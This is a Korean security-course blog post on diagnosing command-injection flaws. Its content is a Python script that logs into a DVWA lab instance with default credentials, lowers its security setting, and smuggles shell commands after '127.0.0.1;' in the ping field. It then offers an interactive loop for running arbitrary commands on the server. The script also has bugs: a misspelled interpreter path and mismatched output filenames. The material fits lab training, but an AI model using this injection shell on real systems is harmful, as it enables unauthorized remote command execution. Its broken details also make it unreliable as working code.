Command Execution 취약점 진단
2020. 4. 6. 14:57ㆍ정보보안과정/웹 페이지 취약점 진단
#!/usr/bin/env /usr/bin/pythn3 import requests from bs4 import BeautifulSoup import re import sys import os login_url = 'http://192.168.10.134/dvwa/login.php' login_data = {'username': 'admin', 'password':'password', 'Login':'Login'} s = requests.Session() # 요청을 하면 응답이 돌아온다. resp = s.post(login_url, data=login_data) # print(resp.text) soup = BeautifulSoup(resp.text, 'lxml') # print(soup.div.h1.string) OK_MESS = 'Welcome to Damn Vulnerable Web App!' if re.search(OK_MESS, soup.div.h1.string): print('[+] Login successfully.') else: sys.exit('[-] Login failed.') security_url = 'http://192.168.10.134/dvwa/security.php' security_data = {'security': 'low', 'seclev_submit': 'Submit'} resp = s.post(security_url, data=security_data) # print(resp.text) soup = BeautifulSoup(resp.text, 'lxml') # print(soup.find_all('div', class_='message')) contents = str(soup.find_all('div', class_='message')) OK_MESS = 'Security level set to low' if re.search(OK_MESS, contents): print('[+] Security level set to low.') else: sys.exit('[-] Security level is not set.') cmdi_url = 'http://192.168.10.134/dvwa/vulnerabilities/exec/' cmd = 'id' cmdi_data = {'ip': '127.0.0.1; '+cmd ,'submit': 'submit'} resp = s.post(cmdi_url, data=cmdi_data) # print(resp.text) soup = BeautifulSoup(resp.text, 'lxml') # print(soup.pre.string) OK_MESS = 'uid=' if re.search(OK_MESS, soup.pre.string): print('[+] Command injection is possible.') else: sys.exit('[-] Command injection is impossible') while True: CMD = input('Enter your command (CMD:q) : ') if CMD == 'q': break # print(CMD) cmdi_data = {'ip': '127.0.0.1; ' + CMD, 'submit': 'submit'} resp = s.post(cmdi_url, data=cmdi_data) # print(resp.text) soup = BeautifulSoup(resp.text, 'lxml') print(soup.pre.string) with open('cmd2output.txt', 'w') as fd: fd.write(soup.pre.string) print('='*20, "Command Output", '='*20) os.system('cat cmdoutput.txt | egrep -v "(PING|64 bytes|ping statistics|packets transmitted|rtt min)"') print('=' * 20, "Command Output", '=' * 20) |
'정보보안과정 > 웹 페이지 취약점 진단' 카테고리의 다른 글
CSRF 취약점 진단 (0) | 2020.04.22 |
---|---|
FileUpload 취약점 진단 (0) | 2020.04.21 |
SQL Injection 취약점 진단 (0) | 2020.04.21 |